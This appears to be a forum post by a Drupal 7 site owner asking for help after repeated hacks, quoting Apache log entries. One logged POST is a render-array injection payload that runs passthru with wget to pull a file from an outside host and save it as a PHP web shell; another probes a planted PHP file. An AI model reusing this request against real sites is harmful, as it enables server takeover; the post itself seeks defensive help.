My Drupal 7 sites were hacked many times, and I find everytime some files created by the hackers. Even though I did the security update, that didn't prevent the hackers to access to the server. Recently I saw the Apache log and I found some serious security problems. They try accessing across the login form on /user and some files in the file module folder.
POST /?q=user/password&name[%23post_render]=passthru&name[%23type]=markup&name[%23markup]=wget%20-c%20g.wpblogapi.com/acui/innc.zip%20-O%20tmps.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:184.108.40.206) Gecko/20091201 Firefox/3.5.6
GET /modules/file/tests/lbuzsboe.php HTTP/1.1" 404 - "..../modules/file/tests/lbuzsboe.php
Please provide me your suggestions to resolve this problem. I have no experience on web security.